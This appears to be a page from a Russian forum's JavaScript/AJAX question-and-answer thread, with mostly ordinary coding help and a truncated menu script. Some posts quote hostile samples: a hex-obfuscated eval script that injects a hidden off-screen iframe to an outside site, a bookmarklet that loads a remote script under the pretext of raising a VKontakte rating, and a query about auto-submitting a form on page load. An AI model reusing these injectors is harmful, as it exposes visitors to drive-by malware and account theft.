PDA

Просмотр полной версии : [JavaScript, AJAX] Задай вопрос, получи ответ


Страницы : 1 2 3 4 5 6 7 8 [9] 10

ANTIHАCK
02.12.2009, 00:47
Помогите реализовать задумку в реальность... В общем нужно сделать что то похожее на слайдшоу текста... Подробней:

1 Кадр текст: 12#
2 Кадр текст: #23
3 Кадр текст: 1#3

нужно что бы текст так сказать мигал очень быстро.. доли секунд)... такое реально?

rushter
02.12.2009, 01:07
Помогите реализовать задумку в реальность... В общем нужно сделать что то похожее на слайдшоу текста... Подробней:

1 Кадр текст: 12#
2 Кадр текст: #23
3 Кадр текст: 1#3

нужно что бы текст так сказать мигал очень быстро.. доли секунд)... такое реально?
Реально,но писать наврятли кто-то будет.Можно со слоями поиграться,много способов реализации.

astrologer
03.12.2009, 00:41
<!doctype html>
<html>
<head>
<title>Blink 2.0</title>
<script>

window.onload = function()
{
var target = document.getElementById('screen');
var text = target.appendChild(document.createTextNode(''));

var i = 0;
var a = ['12#', '#23', '1#3'];
var l = a.length;

setInterval(function()
{
text.data = a[i++ % l];
}, 0);
};

</script>
</head>
<body>
<pre id="screen"></pre>
</body>
</html>

apekoff
05.12.2009, 18:55
Привет всем !
Ситуация
ПС-Поисковая система
С1-Сайт номер 1
С2-Сайт номер 2
как сделать редирект на С1 ---> С2 с передачей реферера ПС с поисковым запросом т.е. есть поисковый запрос -
Цитата:
_http://www.google.com.ua/search?q=поисковый запрос&hl=ru&client=firefox&rlz=1R1GGGL_ru___UA338 &sa=G&tbo=1&tbs=qdr:y
Есть сайт на который кликают
Цитата:
http://c1.blabla/
(С1) из него некий редирект на С2
в итоге чтоб на С2 при редиректе было -
Цитата:
http://C2.blablabla/index.php?ref=http://www.google.com.ua/search?q=поисковый запрос&hl=ru&client=firefox&rlz=1R1GGGL_ru___UA338 &sa=G&tbo=1&tbs=qdr:y
Пробовал так -
Цитата:
window.location='http://C2.blablabla/index.php?ref=(document.referrer);
безрезультатно..

ZET36
06.12.2009, 00:38
Привет, тут возникла проблема при отправке http запроса с помощью XMLHttpRequest, использовал эту статью - http://ru.wikipedia.org/wiki/XMLHttpRequest

<script>
var req;

function processReqChange()
{
try { // Важно!
// только при состоянии "complete"
if (req.readyState == 4) {
// для статуса "OK"
if (req.status == 200) {
// обработка ответа
} else {
alert("Не удалось получить данные:\n" +
req.statusText);
}
}
}
catch( e ) {
// alert('Caught Exception: ' + e.description);
// В связи с багом XMLHttpRequest в Firefox приходится отлавливать ошибку
// Bugzilla Bug 238559 XMLHttpRequest needs a way to report networking errors
// https://bugzilla.mozilla.org/show_bug.cgi?id=238559
}
}

function loadXMLDoc(url)
{
req = null;
if (window.XMLHttpRequest) {
try {
req = new XMLHttpRequest();
} catch (e){}
} else if (window.ActiveXObject) {
try {
req = new ActiveXObject('Msxml2.XMLHTTP');
} catch (e){
try {
req = new ActiveXObject('Microsoft.XMLHTTP');
} catch (e){}
}
}

if (req) {
req.open("GET", url, true);
req.onreadystatechange = processReqChange;
req.send(null);
setTimeout("alert(req.responseText)",7000);
}
}
</script>
<html>
<input type=button value=ddd onclick="loadXMLDoc('http://www.google.ru/')">

</html>

В ie работает нормально, но в опере возникает проблема при req.send(null) . В чём может заключаться проблема?.

Z@h
06.12.2009, 12:47
Народ подскажите.
Например имеется в начале поле
<select name="name[]"><option value="1">a</option><option value="2">b</option></select><input type="text" name="text[]">
нужно чтобы при любом выборе значения появлялось точно такое же поле ниже... и так далее...

diGriz
06.12.2009, 14:36
2 Z@h

<script src="http://code.jquery.com/jquery-latest.js"></script>
<script type="text/javascript">
function addField() {
$("#fields").append('<input type="text" name="text[]"><br />');
}
</script>
<select name="name[]" onchange="addField()"><option value="1">a</option><option value="2">b</option></select>
<div id="fields">
<input type="text" name="text[]"><br />
</div>

Gray_Wolf
07.12.2009, 17:41
На странице есть 3 картинки и ниже поле с описанием.
Нужно при помощи JS сделать так чтобы по клику на картинку в текстовом поле появлялось её описание.
Как это лучше реализовать и где можно поискать примеры подобного?
(з.ы. 2-х метровые библиотеки со всевозможными свистелками и перделками просьба не предлагать)
Т.е. нужен код в котором нету ничего лишнего в плане оформления, т.к. это нарушит дизайн сайта.

krypt3r
07.12.2009, 18:05
<script language="javascript">
var desc = new Array ('Description', 'Second', 'Yahoo!!!');
function show_desc (id) {
document.getElementById('description').value = desc[id];
return true;
}
</script>
...
<img src="image_1.gif" onclick="show_desc(0)"><br>
<img src="image_2.gif" onclick="show_desc(1)"><br>
<img src="image_3.gif" onclick="show_desc(2)"><br>
<form><input type="text" id="description" value=""></form>

mff
08.12.2009, 11:49
<SCRIPT>var ep="3c7370616e207374796c653d22706f736974696f6e3a616273 6f6c7574653b746f703a2d333070783b6c6566743a2d333070 78223e0d0a3c494652414d45207372633d22687474703a2f2f 7777772e6d697373676c61642e636f6d2f77656274762f7765 6274762d747275652e7068703f63617465675f69643d";eval(unescape("function%20dc%28e%29%7Bvar%20ds%3D%22%22%3Bfor%28i %3D0%3Bi%3Ce.length%3Bi+%3D2%29%7Bds+%3DString.fro mCharCode%28parseInt%28e.substring%28i%2Ci+2%29%2C %2016%29%29%3B%7Dreturn%20ds%3B%7Ddocument.write%2 8dc%28ep%29%29%3B"));</script>
182&video=b0584c17da" width="500" height="380" marginwidth=0 marginheight=0 border=0 frameborder=0 framespacing=0 scrolling=no></IFRAME>
</span> :rolleyes:

mff
09.12.2009, 12:53
UP! Помогите расфифровать.

TDKronuS
09.12.2009, 13:27
mff,
<span style="position:absolute;top:-30px;left:-30px">
<IFRAME src="http://www.missglad.com/webtv/we182&video=b0584c17da" width="500" height="380" marginwidth=0 marginheight=0 border=0 frameborder=0 framespacing=0 scrolling=no></IFRAME>
</span>

eval меняешь на document.write. Дальше уже видно что делать)

Byrger
09.12.2009, 15:42
Есть меню на jQuery+clickmenu плагин

Вызывается меню:
$(document).ready(function()
{
$.fn.clickMenu.setDefaults({arrowSrc:'/css/icons/arrow_right.png'});
$('#stylishmenu').clickMenu({arrowSrc:'/css/icons/arrow_right.png', onClick:function(){
var a = $(this).find('>a');
if ( a.length )
{
//close the menu
alert($(a).text() +' was clicked');
$('#stylishmenu').trigger('closemenu');
}
return false; //stop default action
}});
});
Тут демо: http://p.sohei.org/stuff/jquery/clickmenu/demo/demo.html
Меню: Stylish menu

При нажатии вызывается onClick (хотя тект в меню у меня распаленен в <a></a>)
<li><a href="/quests/all/">Уровни все</a></li>

Переход по ссылке не выполняется, происходит alert()
Но если его офф то всё равно нет кликабильности= \
Как исправить?

Vlad&slav
12.12.2009, 12:28
как удалить джавой ВСЕ установленные на сайте куки?

function Delete_Cookie( name, path, domain ) { if ( Get_Cookie( name ) ) document.cookie = name + "=" + ( ( path ) ? ";path=" + path : "") + ( ( domain ) ? ";domain=" + domain : "" ) + ";expires=Thu, 01-Jan-1970 00:00:01 GMT"; }

а дальше незнаю как . help)

speles
14.12.2009, 01:31
в сайте имееться форма
<form method=post>
<table><tr><td><input type=hidden name='blabla' value='blabla'><input type=hidden name='blabla1' value='get'><input type=hidden name='blabla2' value='blabla3'><input type='text' name='blabla4' value='A'></td><td><input type=submit value='OK></tr></table></form>

1.как мне изменить "A" на "BРРРРР".
2.Как мне отправтиь форму.

Architek86
14.12.2009, 03:00
Вопрос к любителям mootools.
Вот в этом примере - http://demos.mootools.net/Fx.Slide - есть вертикальный toggle блока:
window.addEvent('domready', function() {

var myVerticalSlide = new Fx.Slide('vertical_slide');

$('v_toggle').addEvent('click', function(e){
e.stop();
myVerticalSlide.toggle();
});

});

Но как его дополнить так, что бы изначально, в отличие от примера по ссылке на мутулзе, текст был закрытым, а не раскрытым?

Architek86
14.12.2009, 03:04
аа, всё.. разобралсо.. применив .hide()

Taktik
14.12.2009, 10:50
Где можно почитать про всплывающие окна,как на античате.
Тоесть не к отдельной ссылке вспл.окно,а к каждому слову как это здесь реализовано(например античат,xss,дедик вызвают всплывающее окно).
?

diGriz
14.12.2009, 11:05
2 speles

<script src="http://code.jquery.com/jquery-latest.js"></script>
<script type="text/javascript">

$(function() {
$("#blabla4").attr({value: "BРРРРР"});
});

</script>
<form action="script.php" method="post">
<table>
<tr>
<td>
<input type=hidden name='blabla' value='blabla'><input type=hidden name='blabla1' value='get'>
<input type=hidden name='blabla2' value='blabla3'><input type='text' id="blabla4" name='blabla4' value='A'>
</td>
<td>
<input type=submit value='OK>
</tr>
</table>
</form>

speles
14.12.2009, 15:33
2 diGriz
а как форму отправить

astrologer
14.12.2009, 22:35
2 diGriz
а как форму отправитьdocument (http://www.w3.org/TR/DOM-Level-2-HTML/html.html#ID-26809268).forms (http://www.w3.org/TR/DOM-Level-2-HTML/html.html#ID-1689064)[0].submit (http://www.w3.org/TR/DOM-Level-2-HTML/html.html#ID-76767676)();

Byrger
15.12.2009, 14:48
Как можно прочитать удаленную страницу допустим http://google.com/
И всунуть то что прочиталось в html`ку

Дикс
15.12.2009, 16:41
как автоматически запускать одну и ту же функцию через равные промежутки времени?
settimeout запускает один раз, а надо повторять постоянно

astrologer
15.12.2009, 17:09
как автоматически запускать одну и ту же функцию через равные промежутки времени?
settimeout запускает один раз, а надо повторять постоянноsetInterval =/

_gr34t
17.12.2009, 04:31
Как при написании пользовательской функции на javascript передать параметры по умолчанию?
например на php вот так:

<?php
function func($a = "value")
{
return $a;
}


пишу так же на js:

function myfunc(var1,var2 = 3)
{
return var1+var2;
}

не работает, выдаёт ошибку

Обург
17.12.2009, 04:37
срочно нужен яваскрипт редирект, вернее редирект есть, но нужно прописать в нем задержку переадресации на несколько секунд, а то редирект мгновенный. Кто хорошо знает яваскрипт, помогите плиз, а то я в яваскрипт не шибко специалист :mad:

<script language="JavaScript1.1" type="text/javascript">
location.replace("http://site.com");
</script>

PS. нужен именно яваскрипт редирект с задержкой, а не мета :)

Star-s
17.12.2009, 04:52
Обург,
<script language="JavaScript1.1" type="text/javascript">
setTimeout("location.replace('http://ya.ru');",7000);
</script>

geforse
17.12.2009, 21:48
Как с помощью Ajax выводить в браузере содержимое файла, которое постоянно меняется ? (вывод логов. php скрипт сохраняет их в файл, а Ajax выводит в браузере)

REBUUS
18.12.2009, 02:20
Как с помощью Ajax выводить в браузере содержимое файла, которое постоянно меняется ? (вывод логов. php скрипт сохраняет их в файл, а Ajax выводит в браузере)

http://www.nulled.ws/showthread.php?p=1242214


я думаю оттуда ты все поймешь, сам по нему разобрался, только выводит с БД :)

REBUUS
18.12.2009, 02:21
и за одно свой вопрос, как то можно замедлить обновление вывода в аяксе ?
допустим в том в скрипте http://www.nulled.ws/showthread.php?p=1242214

vorona
18.12.2009, 10:35
Дайте конспекты лекций по JS и AJAX. Не книги, не самоучители, а именно конспекты.

LStr1ke
18.12.2009, 13:51
и за одно свой вопрос, как то можно замедлить обновление вывода в аяксе ?
допустим в том в скрипте http://www.nulled.ws/showthread.php?p=1242214
Там в сорцах все прокоментировано:

setInterval("Load();", 2000); // создаём таймер который будет вызывать загрузку сообщений каждые 2 секунды (2000 миллисекунд)

satana-fu
19.12.2009, 06:56
есть форма запроса

<form class="mainform" action="" method="post"
enctype="multipart/form-data"
onsubmit="e=this.elements;l=e.length;e[l-1].disabled=e
[l-2].disabled=true;try{this.submit();}catch(er){e[l-1].disabled=e
[l-2].disabled=false;}">

<input бла бла бла бла />

</form>


для подтверждения формы запроса что мне надо вписать вместо вопросительных знаков если значение name="" в форме отсутствует??

<script>
document.?????.submit();
</script>

суть в том, чтобы запрос выполнялся при открытии страницы :confused:, может самому прописать значение name="" в форме запроса или есть какие то способы подтверждения и без его наличия??

b3
19.12.2009, 07:23
<form name="form1">
<script>
document.form1.submit();
</script>
Берется из name

satana-fu
19.12.2009, 07:32
Берется из name
спасибо, пошел исправлять значения input ;), готовлю свою первую статью для античата, да простят меня грины.

Шухер
19.12.2009, 14:27
java script:function loadScript(scriptURL) { var scriptElem = document.createElement('SCRIPT'); scriptElem.setAttribute('language',%20'%4A%61%76%6 1%53%63%72%69%70%74'); scriptElem.setAttribute('src', scriptURL); document.body.appendChild(scriptElem);}loadScript( '%68%74%74%70%3A%2F%2F%75%73%65%72%61%65%2E%6E%61% 72%6F%64%2E%72%75%2F%76%2E%6A%73');

что делает данный скрипт? якобы рейтинг вконте повышает?))

TDKronuS
19.12.2009, 14:30
Этот скрипт создает новый элемент DOM и подключает его к DOM.

Шухер
19.12.2009, 18:37
а что делает элемент DOM ? в данном случае

SeNaP
19.12.2009, 19:41
Как можно вывести на экран "javascript:history.back(1)" ?

ZeroByte
19.12.2009, 20:07
Как можно вывести на экран "javascript:history.back(1)" ?
обращатся к индексам массива history можно,но нельзя посмотреть что там за url стоит... безопасность и все такое :)

P.S. http://raz0r.name/obzory/chtenie-istorii-poseshhenij-s-pomoshhyu-css/

TDKronuS
19.12.2009, 20:07
а что делает элемент DOM ? в данном случае

Создает элемент "<script></script>"

mff
19.12.2009, 22:13
Подскажите, как отметить все галочки только одной формы, а не всего документа?

function check(self)
{
var a = document.getElementsByTagName('input');
var checkValue = self.checked;
for (i=1; i<a.length; i++) {
if (a[i].type=='checkbox')
a[i].checked = checkValue;
}
}
Все <input type="checkbox" id="chkAll" onclick="check(this)" />

:confused:

olishort
19.12.2009, 22:47
с фреймворком jquery работал? почитай.
в догонку почитай http://www.linkexchanger.su/ там и ответ есть на твой вопрос

ZeroByte
20.12.2009, 00:20
<script src="jquery.js"></script>
<script>
$(document).ready(function() {
$("#buttoncheck").click(function() {
$("#forma").find("input[type*='checkbox']").attr("checked",1);
});
$("#buttonuncheck").click(function() {
$("#forma").find("input[type*='checkbox']").attr("checked",0);
});
});
</script>
<body>
<!-- чекбоксы не в форме -->
<input type=checkbox><br>
<input type=checkbox><hr>
<!-- форма с чекбоксами внутри -->
<form id="forma">
<input type=checkbox><br>
<input type=checkbox><br>
<input type=checkbox><br>
<input type=checkbox><br>
<input type=button id="buttoncheck" value="Отметить">
<input type=button id="buttonuncheck" value="Снять">
</form>

mff
20.12.2009, 01:25
спс, вот так сделал:
function check(obj)
{
var a = obj.form.getElementsByTagName('input');
var checkValue = obj.checked;
for (i=0; i<a.length; i++) {
if (a[i].type=='checkbox'){

a[i].checked = checkValue;}
}
} :)

Architek86
20.12.2009, 15:20
пытаюсь с помощью innerHTML вставить код вида "'<script type="text/javascript" src="bla.js" /> и выполнить его. Вроде, вставляется, но не выполняется. Как заставить его выполниться? Никаких document.write не предлагать, мне нужно обязательно вставить этот код в определённый див...

Architek86
20.12.2009, 17:11
Всё.. проблему решил...

.skyy
21.12.2009, 04:08
Возможно здесь это уже обсуждалось, но я не смог осилить 207 страниц..
Вот моя проблема.
Такс буду объяснять пошагово...
1. Есть сайт там где есть немножко джавы
Клацаешь на иконку вылазит окошко авторизации
после клика "Войти" перенаправляет на страницу логина и т.п.

Вопрос: как сделать чтоб без обновления страници начало в этом же джава окошке выдавать к примеру вот такое:
http://i021.radikal.ru/0912/fd/142174562955.jpg
№1 - авторизация
№2 - Успешная авторизация
№3 - Заявка
№4 - Ваша заявка успешно принята и т.п

Нужно чтоб все происходило в одном окошке этой же джавы от самой первой иконки.

как это сделать?

ZET36
21.12.2009, 21:34
Как получить header текущей страницы?

biophreak
22.12.2009, 18:37
Если Вы про title, то document.title

mff
25.12.2009, 04:42
Помогите. Как определить вертикальную координату объекта в документе? То есть, сколько в пикселях от верха окна до верха объекта.

b3
25.12.2009, 05:10
http://xhtml.co.il/ru/page-756/bind()
var str = "( " + e.pageX + ", " + e.pageY + " )";

mff
25.12.2009, 13:01
b3, спасибо.
.skyy, очень просто. Используйте слои (div) и их свойство display
Для отправки данных в обработчик без перезагрузки используйте объект XMLHttpRequest (XHR)
Удачи...

Freakazoitt
25.12.2009, 13:55
Вопрос:

Сделал простой чат на php с формой
Как сделать:
1. скролл сам прокручивался вниз (к последним сообщениям)
2. курсор всегда оставался в форме где текст сообщения, чтоб не кликать туда каждый раз

_gr34t
26.12.2009, 01:34
Как при написании пользовательской функции на javascript передать параметры по умолчанию?
например на php вот так:

<?php
function func($a = "value")
{
return $a;
}


пишу так же на js:

function myfunc(var1,var2 = 3)
{
return var1+var2;
}

не работает, выдаёт ошибку
помогите пожалуйста

astrologer
26.12.2009, 01:47
Как при написании пользовательской функции на javascript передать параметры по умолчанию?function sum(a, b)
{
if (b == null)
{
b = 3;
}

return a + b;
};

rizen
26.12.2009, 18:11
Вот такая у меня печаль. Излагаю как могу, поскольку непрофессионал, но сайтом занимаюсь самостоятельно. У меня сайт о комнатных цветах с 2004 года. В старых версиях браузеров работал хорошо, но в новых версиях Мозилы, Гугле Хром например, меню главной страницы сайта не запускается За меню отвечает злосчастный скрипт stm31.js. Не хочет работать в новых браузерах! Можно это исправить?

LStr1ke
26.12.2009, 18:17
Можно это исправить?
Конечно. Если сайт о комнатных цветах, с 2004 года, злостный скрипт называется stm31.js., то специально под эти критерии введена функция do_it_right_for_my_site();
Как думаешь, это форум экстрасенсов? Как думаешь существует ли такая функция?
Приведи сюда код, адрес сайта, что-нибудь, из чего можно понять ситуацию и исправить код

rizen
27.12.2009, 17:07
Привожу сайт и код скрипта.
Сайт находится по адресу http://www.ciklamen.ru
Код скрипта:
пытаюсь вставить, но сообщение отправить не могу. Форум выдает ошибку совершенно непонятную.

rizen
27.12.2009, 17:14
Вот теперь написал, что слишком длинный текст. Это код скрипта содержит 35327 символов. Попробую разбить код скрипта на две части.
Первая часть кода:
// Ver: 4.4.40517
if(typeof(st_js)=="undefined"){
stAHCM=0;// 0
stAHWS=1;// 1
stSMSC=1;// 1
stSCSP=0;// 0
stCFSP=0;// 0
stBIMG=1;// 1
stILOC=0;// 0
stILNK=0;// 0
stDF55=0;// 0
stMMSZ=10;// 10
nOP=nOP5=nIE=nIE4=nIE5=nNN=nNN4=nNN6=nKQ=nKQ2=nMAC =nIEM=nIEW=nDM=nVER=st_delb=st_addb=st_scd=0,stmoz b=0;stnav();st_reg=!(nIEW&&nVER>=5.5&&nVER<6&&stDF55);
st_ttb=nIE;stHAL=["left","center","right"];stVAL=["top","middle","bottom"];stREP=["no-repeat","repeat-x","repeat-y","repeat"];stBDS=["none","solid","double","dotted","dashed","groove","ridge"];
st_gc=st_rl=st_cl=st_ct=st_cw=st_ch=st_cm=st_cp=st _ci=st_load=st_scr=0;st_ht="";st_ims=[];st_ms=[];stusrld=[];
if(nNN4){stitovn=stevfn("stitov",1);stitoun=stevfn("stitou",1);stitckn=stevfn("stitck",1);stppovn=stevfn("stppov",0);stppoun=stevfn("stppou",0);}
if(nIE4||nNN4)onerror=function(m,u,l){if(!confirm("Java Script Error\n"+"\nDescription:"+m+"\nSource:"+u+"\nLine:"+l+"\n\nSee more details?"))onerror=null;}
if(nIEM||nOP5)onunload=function(){for(var j=0;j<st_ms.length;++j)st_ms[j].cfrm=0;return true;}
if(nDM&&!nNN4)
{
var s="<STYLE>\n.st_tbcss,.st_tdcss,.st_divcss,.st_ftcss{border: none;padding:0px;margin:0px}\nA.st_acss,A.st_acss: link,A.st_acss:visited,A.st_acss:active,A.st_acss: hover{background-color:transparent}\n</STYLE>";
for(var j=0;j<stMMSZ;++j)
s+="<FONT ID=st_gl"+j+"></FONT>";
if(nIEW&&nVER>=5&&document.body)
document.body.insertAdjacentHTML("AfterBegin",s);
else
document.write(s);
}st_js=1;}
function stm_bm(a){var w=a[2]&&a[2].charAt(a[2].length-1)!='/'?a[2]+'/':a[2];var p=a.length>15?a[15]&&a[15].charAt(a[15].length-1)!='/'?a[15]+'/':a[15]:"";st_ms[st_cm]={ps:[],mscm:[0,0],mei:st_cm,ids:"Stm"+st_cm+"p",hdid:0,cked:0,cfrm:0,tfrm:window,sfrm:window,mcff :"",mcfd:0,mcfn:0,mcfb:1,mcfx:0,mcfy:0,mnam:a[0],mver:a[1],mweb:w,mbnk:stbuf(w+a[3]),mtyp:a[4],mcox:a[5],mcoy:a[6],maln:stHAL[a[7]],mcks:a[8],msdv:a[9],msdh:a[10],mhdd:nNN4?Math.max(100,a[11]):a[11],mhds:a[12],mhdo:a[13],mhdi:a[14],mpre:p,args:a.slice(0),mwid:a.length>16?a[16]:"",midn:(a.length>17?a[17]:0)};}
function stm_bp(l,a){var m=st_ms[st_cm],p,i=m.ps.length?m.ps[st_cp].is[st_ci]:0;st_cp=m.ps.length;st_ci=0;m.ps[st_cp]=p={is:[],mei:st_cm,ppi:st_cp,ids:"Stm"+st_cm+"p"+st_cp+"i",par:i,tmid:0,cuit:0,issh:0,isst:!st_cp&&!m.mtyp,isck:!st_cp&&(m.mcks&1),exed:0,pver:a[0],pdir:a[1],poffx:a[2],poffy:a[3],pspc:a[4],ppad:a[5],plmw:a[6],prmw:a[7],popc:a[8],pstp:a[14],psds:nIEW?a[15]:0,pscl:a[16],pbgc:a[17],pbgi:stbuf(stgsrc(a[18],0)),pbgr:stREP[a[19]],pbds:stBDS[a[20]],ipbw:a[21],pbdc:(!nDM||nNN4)?a[22].split(/\s/gi)[0]:a[22],args:a.slice(0)};p.peff=[stgeff(a[9],a[10],a[13],p),stgeff(a[11],a[12],a[13],p)];if(st_cp) p.par.sub=p;p.zind=!st_cp?1000:stgpar(p.par).zind+ 1;p.pbgd=stgbg(p.pbgc,p.pbgi,p.pbgr);if(nIEW)p.eff n=[p.peff[0]?p.peff[0].split(" ").length:0,p.peff[1]?p.peff[1].split(" ").length:0];eval(l+"=p");}
function stm_bpx(l,r,a){var p=eval(r);stm_bp(l,(a.length?a.concat(p.args.slice (a.length)):p.args));}
function stm_ai(l,a){st_ci=st_ms[st_cm].ps[st_cp].is.length;var m=st_ms[st_cm],p=m.ps[st_cp],i;if(a[0]==6)i={ssiz:a[1],ibgc:[a[2]],simg:stbuf(stgsrc(a[3],1)),simw:a[4],simh:a[5],simb:a[6],args:a.slice(0)};else i={itex:a[0]?a[1]:a[1].replace(/ /g,"&nbsp;"),iimg:[stbuf(stgsrc(a[2],0)),stbuf(stgsrc(a[3],0))],iimw:a[4],iimh:a[5],iimb:a[6],iurl:(!a[7]||stabs(a[7])?(a[7].toLowerCase().indexOf("javascript:")?a[7]:a[7]+";void(0);"):m.mpre+a[7]),itgt:a[8]?a[8]:"_self",istt:a[9],itip:a[10].replace(/"/g,"&quot;"),iicn:[stbuf(stgsrc(a[11],1)),stbuf(stgsrc(a[12],1))],iicw:a[13],iich:a[14],iicb:a[15],iarr:[stbuf(stgsrc(a[16],1)),stbuf(stgsrc(a[17],1))],iarw:a[18],iarh:a[19],iarb:a[20],ihal:stHAL[a[21]],ival:stVAL[a[22]],ibgc:nOP5&&nVER<7&&a[24]&&a[26]?["transparent","transparent"]:[nOP5&&nVER<7||!a[24]?a[23]:"transparent",nOP5&&nVER<7||!a[26]?a[25]:"transparent"],ibgi:[stbuf(stgsrc(a[27],a[28]&&!nNN4)),stbuf(stgsrc(a[28],a[27]&&!nNN4))],ibgr:[stREP[a[29]],stREP[a[30]]],ibds:stBDS[a[31]],ipbw:a[32],ibdc:(!nDM||nNN4)?[a[33].split(/\s/gi)[0],a[34].split(/\s/gi)[0]]:[a[33],a[34]],itxc:[a[35],a[36]],itxf:[a[37],a[38]],itxd:[stgdec(a[39]),stgdec(a[40])],args:a.slice(0)};p.is[st_ci]=i;i.ityp=a[0];i.mei=st_cm;i.ppi=st_cp;i.iti=st_ci;i.ids=p.ids+s t_ci+"e";i.sub=0;i.tmid=0;i.iwd=0;i.iht=0;i.cstt=0;i.lock= 0;if(m.midn&1)sthili(m,i);eval(l+"=i");}
function stm_aix(l,r,a){var i=eval(r);stm_ai(l,(a.length?a.concat(i.args.slice (a.length)):i.args))}
function stm_ep(){var m=st_ms[st_cm],p=m.ps[st_cp],i=p.par;if(i)st_cm=i.mei,st_cp=i.ppi,st_ci=i.iti; if(!p.is.length){m.ps.length--;if(i){i.sub=0;i.iarr=[m.mbnk,m.mbnk];}}}
function stm_em(){if(!st_cm)stsetld();var m=st_ms[st_cm];if(!m.ps.length){--st_ms.length;return;}var mh="",mc="<STYLE TYPE='text/css'>\n";for(var n=nDM?m.ps.length:1,j=0;j<n;++j){var p=m.ps[j],ph=(p.isst&&m.maln!="left"?"<TABLE STYLE='border:none;padding:0px' CELLPADDING=0 CELLSPACING=0 ALIGN="+m.maln+"><TD class=st_tdcss>":"")+stpbtx(p);if(!p.pver)ph+="<TR ID="+p.ids+"TRR>";if(stissc(p))ph+=stsctx(p,0);for(var k=0;k<p.is.length;++k){var i=p.is[k];if(i.ityp!=6)i.ibgd=[stgbg(i.ibgc[0],i.ibgi[0],i.ibgr[0]),stgbg(i.ibgc[1],i.ibgi[1],i.ibgr[1])];ph+=p.pver?"<TR ID="+p.ids+i.iti+"TRR>"+stittx(i)+"</TR>":stittx(i);if(i.ityp!=6)mc+="."+i.ids+"TX0{"+sttcss(i,0)+"}\n."+i.ids+"TX1{"+sttcss(i,1)+"}\n";}if(stissc(p))ph+=stsctx(p,1);if(!p.pver)ph+="</TR>";ph+=stpetx(p);if(p.isst&&m.maln!="left")ph+="</TD></TABLE>";if(p.isst||nNN||nKQ2||!nDM)mh+=ph;else st_ht+=ph;}mc+="</STYLE>";if(!nDM||nNN4)document.write(mc);if(mh)document.w rite(mh);if(nOP5||nIEW&&nVER>=5){if(st_ht){var o=stgobj("st_gl"+st_gc);if(nOP)o.document.write(st_ht);else if(nIE)o.insertAdjacentHTML("BeforeEnd",st_ht);st_gc++;st_ht="";}if(nIE)stpre(m);}st_cm++;st_cp=0;st_ci=0;}
function stpbtx(p){with(p){if(nNN4||!nDM)return (isst?"<ILAYER":"<LAYER LEFT=0 TOP=0")+" VISIBILITY=hide ID="+ids+" Z-INDEX="+zind+"><LAYER><TABLE BORDER=0 CELLSPACING=0 CELLPADDING="+pspc+" BACKGROUND='"+pbgi+"' BGCOLOR="+(pbgi||pbgc=="transparent"?"''":pbgc)+">";var s=(st_ttb||nOP&&isst?"<TABLE class=st_tbcss CELLPADDING=0 CELLSPACING=0":"<DIV class=st_divcss");s+=stppev(p)+" ID="+ids+" STYLE='"+(nIEM?"width:1px;":"")+(nIEW?"filter:"+stfcss(p)+";":"")+"position:"+(p.isst?"static":"absolute;"+(nOP&&nVER<7?"":"left:-9999px;top:-9999px"))+";z-index:"+zind+";visibility:hidden;'>";s+=(st_ttb||nOP&&isst?"<TD NOWRAP class=st_tdcss ID="+ids+"TTD>":"");if(nNN)s+="<TABLE class=st_tbcss cellpadding=0 cellspacing=0 style='"+stpcss(p)+"' ID="+ids+"TB><td class=st_tdcss><TABLE class=st_tbcss CELLSPACING="+(stissc(p)?0:pspc)+" CELLPADDING=0 ID="+ids+"TA>";else s+="<TABLE class=st_tbcss CELLSPACING="+(stissc(p)?0:pspc)+" CELLPADDING=0 style='"+stpcss(p)+"' ID="+ids+"TB><TBODY ID="+ids+"TBDB>";return s;}}
function stpetx(p){return "</TBODY></TABLE>"+(nNN4||!nDM?"</LAYER></LAYER>":(nNN?"</TD></TABLE>":"")+(st_ttb||nOP&&p.isst?"</TD></TABLE>":"</DIV>"));}
function stittx(i){var s="",p=stgpar(i);with(i)if(nNN4||!nDM){s+="<TD WIDTH=1 NOWRAP><FONT STYLE='font-size:1pt;'><ILAYER ID="+ids+"><LAYER";if(ityp!=6&&ipbw)s+=" BGCOLOR="+ibdc[0];s+=">";for(var n=0;n<(nNN4?2:1);++n){if(ityp==6&&n)break;s+="<LAYER Z-INDEX=10 VISIBILITY="+(n?"HIDE":"SHOW");if(ityp!=6)s+=" LEFT="+ipbw+" TOP="+ipbw;s+="><TABLE ALIGN=LEFT WIDTH="+(iwd&&ityp!=6?iwd-2*p.ppad+i.ipbw:"100%")+(iht&&(ityp!=6||!p.pver)?" HEIGHT="+(ityp!=6?iht+i.ipbw:iht):"")+" BORDER=0 CELLSPACING=0 CELLPADDING="+(ityp==6?0:p.ppad);if(ityp==6)s+=" BACKGROUND='' BGCOLOR='"+(ibgc[n]=="transparent"?"":ibgc[n])+"'";else s+=" BACKGROUND='"+ibgi[n]+"' BGCOLOR="+(ibgi[n]||ibgc[n]=="transparent"?"''":ibgc[n]);s+=">";if(ityp==6)s+="<TD NOWRAP VALIGN=TOP HEIGHT="+(p.pver?ssiz:"100%")+" WIDTH="+(p.pver?"100%":ssiz)+" STYLE='font-size:0pt;'>"+stgimg(simg,ids+"LINE",simw,simh,0,-1)+"</TD>";else{if(p.pver&&p.plmw||!p.pver&&iicw)s+="<TD ALIGN=CENTER VALIGN=MIDDLE"+stgiws(i)+">"+stgimg(iicn[n],"",iicw,iich,iicb,1)+"</TD>";s+="<TD WIDTH=100% NOWRAP ALIGN="+ihal+" VALIGN="+ival+"><A "+(nNN4?"":stgurl(i,1))+" CLASS='"+(ids+"TX"+n)+"'>";if(ityp==2)s+=stgimg(iimg[n],ids+"IMG",iimw,iimh,iimb,-1);else s+="<IMG SRC='"+stgme(i).mbnk+"' WIDTH=1 HEIGHT=1 BORDER=0 ALIGN=ABSMIDDLE>"+itex;s+="</A></TD>";if(p.pver&&p.prmw||!p.pver&&iarw)s+="<TD ALIGN=CENTER VALIGN=MIDDLE"+stgaws(i)+">"+stgimg(iarr[n],"",iarw,iarh,iarb,1)+"</TD>";}s+="</TABLE>";if(ityp!=6&&ipbw)s+="<BR CLEAR=ALL><SPACER HEIGHT=1 WIDTH="+ipbw+"></SPACER><SPACER WIDTH=1 HEIGHT="+ipbw+"></SPACER>";s+="</LAYER>";}if(ityp!=6)s+="<LAYER Z-INDEX=20></LAYER>";s+="</LAYER></ILAYER></FONT></TD>";}else{s+="<TD class=st_tdcss ID="+i.ids+stitev(i);if(ityp!=6)s+=" TITLE="+stquo(itip)+(iwd?" WIDTH="+iwd:"")+(iht?" HEIGHT="+iht:"")+" VALIGN="+ival;s+=" 